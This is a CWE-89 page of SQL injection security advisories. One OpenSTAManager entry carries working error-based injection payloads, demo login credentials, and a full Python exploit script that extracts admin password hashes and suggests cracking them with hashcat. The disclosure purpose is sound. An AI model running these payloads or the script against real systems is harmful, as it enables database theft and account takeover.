CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27535 vulnerabilities reference this CWE, most recent first.
GHSA-QX4J-QQF4-J3CH
Vulnerability from github – Published: 2025-02-19 09:33 – Updated: 2025-02-19 09:33The Categorized Gallery Plugin plugin for WordPress is vulnerable to SQL Injection via the 'field' attribute of the 'image_gallery' shortcode in all versions up to, and including, 2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
{
"affected": [],
"aliases": [
"CVE-2024-13676"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-19T08:15:19Z",
"severity": "MODERATE"
},
"details": "The Categorized Gallery Plugin plugin for WordPress is vulnerable to SQL Injection via the \u0027field\u0027 attribute of the \u0027image_gallery\u0027 shortcode in all versions up to, and including, 2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-qx4j-qqf4-j3ch",
"modified": "2025-02-19T09:33:29Z",
"published": "2025-02-19T09:33:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13676"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/categorized-gallery/trunk/init.php#L177"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b409ef44-18fa-4ea0-90a4-69e03fa0116e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QX4W-PMJ5-W2PM
Vulnerability from github – Published: 2022-05-01 02:20 – Updated: 2022-05-01 02:20SQL injection vulnerability in search.inc.php in Unclassified NewsBoard before 1.5.3 Patch 4 allows remote attackers to execute arbitrary SQL commands via the (1) DateFrom or (2) DateUntil parameter to forum.php.
{
"affected": [],
"aliases": [
"CVE-2005-3686"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-11-19T01:03:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in search.inc.php in Unclassified NewsBoard before 1.5.3 Patch 4 allows remote attackers to execute arbitrary SQL commands via the (1) DateFrom or (2) DateUntil parameter to forum.php.",
"id": "GHSA-qx4w-pmj5-w2pm",
"modified": "2022-05-01T02:20:07Z",
"published": "2022-05-01T02:20:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3686"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0511-exploits/unb153pl3_xpl.html"
},
{
"type": "WEB",
"url": "http://rgod.altervista.org/unb153pl3_xpl.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17614"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/20951"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/15466"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2005/2487"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QX55-87X4-R7QF
Vulnerability from github – Published: 2023-09-29 21:30 – Updated: 2023-09-29 21:30A vulnerability, which was classified as critical, was found in ECshop 4.1.5. Affected is an unknown function of the file /admin/leancloud.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-240924.
{
"affected": [],
"aliases": [
"CVE-2023-5293"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-29T21:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in ECshop 4.1.5. Affected is an unknown function of the file /admin/leancloud.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-240924.",
"id": "GHSA-qx55-87x4-r7qf",
"modified": "2023-09-29T21:30:41Z",
"published": "2023-09-29T21:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5293"
},
{
"type": "WEB",
"url": "https://github.com/xhcccan/code/issues/1"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.240924"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.240924"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QX5C-G298-5RR8
Vulnerability from github – Published: 2023-07-04 15:30 – Updated: 2023-07-04 15:30A vulnerability, which was classified as critical, was found in SourceCodester Shopping Website 1.0. Affected is an unknown function of the file search-result.php. The manipulation of the argument product leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-232950 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-3502"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-04T14:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in SourceCodester Shopping Website 1.0. Affected is an unknown function of the file search-result.php. The manipulation of the argument product leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-232950 is the identifier assigned to this vulnerability.",
"id": "GHSA-qx5c-g298-5rr8",
"modified": "2023-07-04T15:30:18Z",
"published": "2023-07-04T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3502"
},
{
"type": "WEB",
"url": "https://github.com/MoeMion233/VulHub/blob/main/Shopping%20Website%20(E-Commerce)%20search-result.php%20has%20Sqlinjection.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.232950"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.232950"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QX68-647Q-334V
Vulnerability from github – Published: 2024-10-10 21:30 – Updated: 2024-10-10 21:30A vulnerability was found in SourceCodester Online Eyewear Shop 1.0. It has been declared as critical. Affected by this vulnerability is the function delete_product of the file /classes/Master.php?f=delete_product. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-9809"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-10T20:15:05Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester Online Eyewear Shop 1.0. It has been declared as critical. Affected by this vulnerability is the function delete_product of the file /classes/Master.php?f=delete_product. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-qx68-647q-334v",
"modified": "2024-10-10T21:30:43Z",
"published": "2024-10-10T21:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9809"
},
{
"type": "WEB",
"url": "https://github.com/wuyanzu-lab/cve/blob/main/sql.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.279961"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.279961"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.420745"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QX6G-M3WX-3HG5
Vulnerability from github – Published: 2023-07-18 18:30 – Updated: 2024-04-04 06:14SQL injection vulnerability in HKing2802 Locke-Bot 2.0.2 allows remote attackers to run arbitrary SQL commands via crafted string to /src/db.js, /commands/mute.js, /modules/event/messageDelete.js.
{
"affected": [],
"aliases": [
"CVE-2021-37522"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-18T18:15:11Z",
"severity": "CRITICAL"
},
"details": "SQL injection vulnerability in HKing2802 Locke-Bot 2.0.2 allows remote attackers to run arbitrary SQL commands via crafted string to /src/db.js, /commands/mute.js, /modules/event/messageDelete.js.",
"id": "GHSA-qx6g-m3wx-3hg5",
"modified": "2024-04-04T06:14:01Z",
"published": "2023-07-18T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37522"
},
{
"type": "WEB",
"url": "https://cinquito.github.io/jekyll/update/2021/10/17/discord_bot_sqli.html"
},
{
"type": "WEB",
"url": "https://gist.github.com/0xHornet/9789d70454a47764b611afc8e84d6c0d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QX8C-7FQ5-7J7X
Vulnerability from github – Published: 2024-09-07 00:31 – Updated: 2024-09-09 15:30RapidCMS v1.3.1 was discovered to contain a SQL injection vulnerability via the username parameter at /resource/runlogin.php.
{
"affected": [],
"aliases": [
"CVE-2024-44838"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-06T22:15:02Z",
"severity": "CRITICAL"
},
"details": "RapidCMS v1.3.1 was discovered to contain a SQL injection vulnerability via the username parameter at /resource/runlogin.php.",
"id": "GHSA-qx8c-7fq5-7j7x",
"modified": "2024-09-09T15:30:38Z",
"published": "2024-09-07T00:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44838"
},
{
"type": "WEB",
"url": "https://github.com/OpenRapid/rapidcms/issues/17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QX92-PW43-VF25
Vulnerability from github – Published: 2026-02-22 15:30 – Updated: 2026-02-22 15:30Web Ofisi Firma v13 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the 'oz' array parameter. Attackers can send GET requests to category pages with malicious 'oz[]' values using time-based blind SQL injection payloads to extract sensitive database information.
{
"affected": [],
"aliases": [
"CVE-2019-25457"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-22T15:16:15Z",
"severity": "HIGH"
},
"details": "Web Ofisi Firma v13 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the \u0027oz\u0027 array parameter. Attackers can send GET requests to category pages with malicious \u0027oz[]\u0027 values using time-based blind SQL injection payloads to extract sensitive database information.",
"id": "GHSA-qx92-pw43-vf25",
"modified": "2026-02-22T15:30:15Z",
"published": "2026-02-22T15:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25457"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47145"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/web-ofisi-firma-sql-injection-via-oz-parameter"
},
{
"type": "WEB",
"url": "https://www.web-ofisi.com/detay/kurumsal-firma-v13-sinirsiz-dil.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QX98-CWXC-VRV6
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34A SQL injection vulnerability in the web administration and quarantine components of Micro Focus Secure Messaging Gateway allows an unauthenticated remote attacker to execute arbitrary SQL statements against the database. This can be exploited to create an administrative account and used in conjunction with CVE-2018-12465 to achieve unauthenticated remote code execution. Affects Micro Focus Secure Messaging Gateway versions prior to 471. It does not affect previous versions of the product that use the GWAVA product name (i.e. GWAVA 6.5).
{
"affected": [],
"aliases": [
"CVE-2018-12464"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-29T16:29:00Z",
"severity": "CRITICAL"
},
"details": "A SQL injection vulnerability in the web administration and quarantine components of Micro Focus Secure Messaging Gateway allows an unauthenticated remote attacker to execute arbitrary SQL statements against the database. This can be exploited to create an administrative account and used in conjunction with CVE-2018-12465 to achieve unauthenticated remote code execution. Affects Micro Focus Secure Messaging Gateway versions prior to 471. It does not affect previous versions of the product that use the GWAVA product name (i.e. GWAVA 6.5).",
"id": "GHSA-qx98-cwxc-vrv6",
"modified": "2022-05-13T01:34:47Z",
"published": "2022-05-13T01:34:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12464"
},
{
"type": "WEB",
"url": "https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway"
},
{
"type": "WEB",
"url": "https://support.microfocus.com/kb/doc.php?id=7023132"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45083"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QX9P-W3VJ-Q24Q
Vulnerability from github – Published: 2026-02-03 19:01 – Updated: 2026-02-04 19:53Vulnerability Details
Location
- File:
modules/stampe/actions.php - Line: 26
- Vulnerable Code:
case 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ Direct concatenation without prepare() sanitization
}
Root Cause
The module parameter from POST data is directly concatenated into an SQL UPDATE query without using the prepare() sanitization function. While the predefined parameter is validated with intval(), the module parameter only has an !empty() check, which does NOT prevent SQL injection.
Vulnerable Pattern:
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// Line 26: Direct concatenation - VULNERABLE
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
Exploitation
Vulnerable Endpoint
POST /modules/stampe/actions.php
Required Parameters
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf
Authentication Requirement
- Requires valid authenticated session (any user with access to Stampe module)
- VERIFIED: Users with "Tecnici" group access can exploit (NOT admin-only!)
- PoC: Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico
Exploitation Type
Error-based SQL Injection using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions
Proof of Concept
Method 1: EXTRACTVALUE (MySQL 5.1+)
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded
op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
Result:
Extracted Data: MySQL version 8.3.0
Method 2: GTID_SUBSET (MySQL 5.6+)
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
Result:
Extracted Data: Database name openstamanager
Method 3: UPDATEXML (MySQL 5.1+)
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
Result:
Extracted Data: Database user demo_osm@web01.osmbusiness.it
Automated Exploitation
Full Exploit Script: exploit_stampe_sqli.py
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
Usage:
python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""
import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin
class StampeSQLiExploit:
def __init__(self, base_url, username, password, verbose=False):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
})
def login(self):
"""Authenticate with username and password"""
login_url = urljoin(self.base_url, '/index.php')
if self.verbose:
print(f"[DEBUG] Attempting login to {login_url}")
print(f"[DEBUG] Username: {self.username}")
# First, get the login page to establish session
resp = self.session.get(login_url)
if self.verbose:
print(f"[DEBUG] Initial GET status: {resp.status_code}")
# Send login credentials with op=login parameter (required!)
login_data = {
'username': self.username,
'password': self.password,
'op': 'login', # Required for OpenSTAManager
}
resp = self.session.post(login_url, data=login_data, allow_redirects=True)
if self.verbose:
print(f"[DEBUG] Login POST status: {resp.status_code}")
print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
# Check if login was successful
if 'PHPSESSID' not in self.session.cookies:
print("[-] Login failed: No session cookie received")
return False
# Check if we're redirected to dashboard or still on login page
if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
print("[-] Login failed: Still on login page")
if self.verbose:
print(f"[DEBUG] Current URL: {resp.url}")
return False
print(f"[+] Successfully logged in as '{self.username}'")
print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
return True
def inject(self, sql_query):
"""Execute SQL injection payload"""
# Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
if self.verbose:
print(f"[DEBUG] Target: {target_url}")
print(f"[DEBUG] Payload: {payload}")
response = self.session.post(
target_url,
data={
"op": "update",
"id_record": "1",
"predefined": "1",
"module": payload,
"title": "Test",
"filename": "test.pdf"
}
)
if self.verbose:
print(f"[DEBUG] Response status: {response.status_code}")
print(f"[DEBUG] Response length: {len(response.text)}")
# Unescape HTML entities first
response_text = unescape(response.text)
# Pattern 1: XPATH syntax error with HTML entities or quotes
# Matches: XPATH syntax error: '~data~' or '~data~'
xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
if xpath_match:
result = xpath_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted via XPATH pattern: {result}")
return result
# Pattern 2: Look in HTML comments (demo puts errors in comments)
# <!--...XPATH syntax error: '~data~'...-->
comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
if comment_match:
result = comment_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted from HTML comment: {result}")
return result
# Pattern 3: <code> tags
codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
for code in codes:
clean = code.strip()
if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
match = re.search(r"~([^~]+)~", clean)
if match:
result = match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted from <code>: {result}")
return result
# Pattern 4: PDOException error format (as shown in user's example)
# PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
if pdo_match:
result = pdo_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted from PDOException: {result}")
return result
# Pattern 5: Generic ~...~ markers (last resort)
markers = re.findall(r'~([^~]{1,100})~', response_text)
if markers:
if self.verbose:
print(f"[DEBUG] Found generic markers: {markers}")
# Filter out HTML/CSS junk
for marker in markers:
if marker and len(marker) > 2:
# Skip common HTML patterns
if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
if self.verbose:
print(f"[DEBUG] Using marker: {marker}")
return marker
if self.verbose:
print("[DEBUG] No data extracted from response")
# Save response for debugging
with open('/tmp/stampe_response_debug.html', 'w') as f:
f.write(response.text)
print("[DEBUG] Response saved to /tmp/stampe_response_debug.html")
return None
def dump_info(self):
"""Dump database information"""
queries = [
("Database Version", "VERSION()"),
("Database Name", "DATABASE()"),
("Current User", "USER()"),
("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
("Total Users", "SELECT COUNT(*) FROM zz_users"),
("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
]
print("="*70)
print(" EXPLOITING SQL INJECTION - DATA EXTRACTION")
print("="*70)
print()
results = {}
for desc, query in queries:
print(f"[*] Extracting: {desc}")
print(f" Query: {query}")
result = self.inject(query)
if result:
print(f" ✓ Result: {result}")
results[desc] = result
else:
print(f" ✗ Failed to extract")
print()
return results
def main():
parser = argparse.ArgumentParser(
description='OpenSTAManager Stampe Module SQL Injection Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Exploit demo.osmbusiness.it with tecnico user
python3 %(prog)s -u tecnico -p tecnicotecnico
# Exploit demo with admin credentials
python3 %(prog)s -u admin -p admin123
# Exploit custom installation with verbose output
python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
'''
)
parser.add_argument('-u', '--username', required=True,
help='Username for authentication')
parser.add_argument('-p', '--password', required=True,
help='Password for authentication')
parser.add_argument('--url', default='https://demo.osmbusiness.it',
help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output for debugging')
args = parser.parse_args()
print("╔" + "="*68 + "╗")
print("║ SQL Injection Exploit - OpenSTAManager Stampe Module ║")
print("║ CVE-PENDING | Authenticated Error-Based SQLi ║")
print("╚" + "="*68 + "╝")
print()
print(f"[*] Target: {args.url}")
print(f"[*] Username: {args.username}")
print()
exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)
# Login first
if not exploit.login():
print("\n[-] Authentication failed. Cannot proceed with exploitation.")
print("[!] Please check:")
print(" 1. Are the credentials correct?")
print(" 2. Is the target URL accessible?")
print(" 3. Is the user account active?")
sys.exit(1)
print()
# Extract data
results = exploit.dump_info()
# Summary
print("="*70)
print(" EXTRACTION SUMMARY")
print("="*70)
print()
if results:
for key, value in results.items():
print(f" {key:.<40} {value}")
# If we got admin password hash, combine it
if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results:
full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"]
print()
print(" " + "="*66)
print(f" Full Admin Password Hash: {full_hash}")
print(" " + "="*66)
print()
print(" [!] Crack with hashcat:")
print(f" hashcat -m 3200 '{full_hash}' wordlist.txt")
else:
print(" ✗ No data extracted")
if not args.verbose:
print("\n [!] Try running with -v flag for debugging information")
if __name__ == "__main__":
main()
Attribution
Reported by Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69215"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:01:46Z",
"nvd_published_at": "2026-02-04T18:16:07Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase \u0027update\u0027:\n if (!empty(intval(post(\u0027predefined\u0027))) \u0026\u0026 !empty(post(\u0027module\u0027))) {\n $dbo-\u003equery(\u0027UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = \u0027.post(\u0027module\u0027));\n // \u2191 Direct concatenation without prepare() sanitization\n }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post(\u0027predefined\u0027))) \u0026\u0026 !empty(post(\u0027module\u0027))) {\n // Line 26: Direct concatenation - VULNERABLE\n $dbo-\u003equery(\u0027UPDATE ... WHERE `id_module` = \u0027.post(\u0027module\u0027));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL\u0027s EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update\u0026id_record=1\u0026predefined=1\u0026module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))\u0026title=Test\u0026filename=test.pdf\n```\n\n**Result:**\n\n\u003cimg width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" /\u003e\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" /\u003e\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" /\u003e\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n def __init__(self, base_url, username, password, verbose=False):\n self.base_url = base_url.rstrip(\u0027/\u0027)\n self.username = username\n self.password = password\n self.verbose = verbose\n self.session = requests.Session()\n self.session.headers.update({\n \u0027User-Agent\u0027: \u0027Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\u0027\n })\n\n def login(self):\n \"\"\"Authenticate with username and password\"\"\"\n login_url = urljoin(self.base_url, \u0027/index.php\u0027)\n\n if self.verbose:\n print(f\"[DEBUG] Attempting login to {login_url}\")\n print(f\"[DEBUG] Username: {self.username}\")\n\n # First, get the login page to establish session\n resp = self.session.get(login_url)\n if self.verbose:\n print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n # Send login credentials with op=login parameter (required!)\n login_data = {\n \u0027username\u0027: self.username,\n \u0027password\u0027: self.password,\n \u0027op\u0027: \u0027login\u0027, # Required for OpenSTAManager\n }\n\n resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n if 